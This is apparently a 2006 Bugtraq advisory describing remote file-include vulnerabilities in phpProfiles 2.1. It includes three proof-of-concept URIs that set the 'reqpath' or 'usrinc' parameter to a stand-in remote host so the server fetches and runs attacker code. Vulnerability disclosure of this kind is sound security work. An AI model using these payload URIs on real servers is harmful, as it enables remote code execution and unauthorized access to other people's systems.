PHPProfiles Reqpath Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20819
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 30 2006 12:00AM
Updated:	Oct 31 2006 08:57PM
Credit:	v1per-haCker is credited with the discovery of these vulnerabilities.
Vulnerable:	phpProfiles phpProfiles 2.1
Not Vulnerable:

PHPProfiles Reqpath Parameter Multiple Remote File Include Vulnerabilities

phpProfiles is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 2.1 Beta is vulnerable to these issues; other versions may also be affected.

PHPProfiles Reqpath Parameter Multiple Remote File Include Vulnerabilities

An attacker may exploit these issues using a web client.

The following proof-of-concept URIs are available:

http://www.example.com/path/users/include/body.inc.php?reqpath=http://EvElCoDe.txt?
http://www.example.com/path/users/include/body_blog.inc.php?reqpath=http://EvElCoDe.txt?
http://www.example.com/path/users/include/upload_ht.inc.php?usrinc=http://EvElCoDe.txt?

PHPProfiles Reqpath Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PHPProfiles Reqpath Parameter Multiple Remote File Include Vulnerabilities

References:

• phpProfiles Homepage (phpProfiles)